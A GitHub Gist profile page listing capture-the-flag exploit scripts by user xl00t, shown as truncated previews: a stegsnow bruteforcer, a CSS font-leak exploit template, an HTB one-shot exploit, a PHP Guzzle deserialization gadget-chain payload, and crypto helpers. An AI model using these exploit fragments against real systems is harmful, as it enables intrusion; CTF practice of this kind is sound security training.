Skip to content

Instantly share code, notes, and snippets.

View xl00t's full-sized avatar

xl00t

  • Paris France
View GitHub Profile
@xl00t
xl00t / cracker.py
Created June 14, 2023 16:53
Stegsnow bruteforce script
View cracker.py
#!/usr/bin/env python3
import subprocess
import threading
import sys
compressed = True
def try_password(threads_i, i, password, steg_file):
try:
print(' '*74+'\r'+f"[{i}] Thread {threads_i} try password : {password}", end='\r')
@xl00t
xl00t / exploit.py
Created June 1, 2023 08:33
FCSC 2022 | Web | Cloud Password Manager
View exploit.py
charset = string.ascii_uppercase + string.digits
template = """
@font-face{
font-family: def;
src: url(/static/fonts/Georgia.ttf);
}
@font-face{
font-family: poc;
src: url(/static/fonts/GeorgiaBold.ttf);
@xl00t
xl00t / exploit.py
Last active May 8, 2023 02:55
HTB - Noter / One Shot Exploit Script
View exploit.py
#!/usr/bin/env python3
from http.server import test, SimpleHTTPRequestHandler, HTTPServer, BaseHTTPRequestHandler
import requests
import argparse
from colorama import init as colorama_init
from colorama import Fore
from colorama import Style
import base64
import random
import string
@xl00t
xl00t / aes.rb
Created November 24, 2022 17:18
DGHACK 2022 - un chasseur sachant chasser 2
View aes.rb
require 'securerandom'
require 'openssl'
require 'base64'
require 'json'
def aes256_cbc_encrypt(key, data)
key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
iv = SecureRandom.random_bytes(16)
iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)
@xl00t
xl00t / exploit.php
Created November 24, 2022 17:14
DGHACK 2022 - Unserial Killer
View exploit.php
<?php
namespace GuzzleHttp\Psr7;
include_once "vendor/autoload.php";
$fnstream = new FnStream([]);
$noseekstream = new NoSeekStream($fnstream);
$noseekstream->custom_method = ['allow_attribute', 'register', 'register', 'getContents'];
$stream = new Stream(fopen("test.php","r"), ["metadata" => $noseekstream, "size"=>[['_fn_getContents'],['_fn_getContents', '/../../../../config'], ['display_content', true], []]]);
$payload = base64_encode(serialize($stream));
@xl00t
xl00t / exploit.py
Created November 24, 2022 17:12
DGHACK 2022 - Curlify
View exploit.py
import requests
import sys
file = "/var/www/html/admin_panel/user_prefs/flag.php"
if len(sys.argv) > 1:
file = sys.argv[1]
headers = {
"User-Agent": "DGHACK/1.0 (Curlify)"
}
View pas-choronophage.py
from PIL import Image
import requests
import shutil
import math
from itertools import product
import os
import base64
import re
img_path = './imgs/'
@xl00t
xl00t / myxor.py
Created October 21, 2022 20:46
Xor little tool to play with XOR encryption
View myxor.py
#!/usr/bin/env python3
import base64
import argparse
import string
class XorBreak:
def __init__(self, clear, ciphertext, key, cribs):
self.clear = clear
self.ciphertext = ciphertext
self.key = key
View cbc.py
#!/usr/bin/env python3
import json
import os
import sys
import re
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
BLOCK_SIZE = 16
@xl00t
xl00t / HerVIP1.py
Created May 29, 2022 21:10
HerVIP1.py
View HerVIP1.py
#!/usr/bin/env python3
import requests
import string
import time
import sys
import random
import string
'''
table :
- users :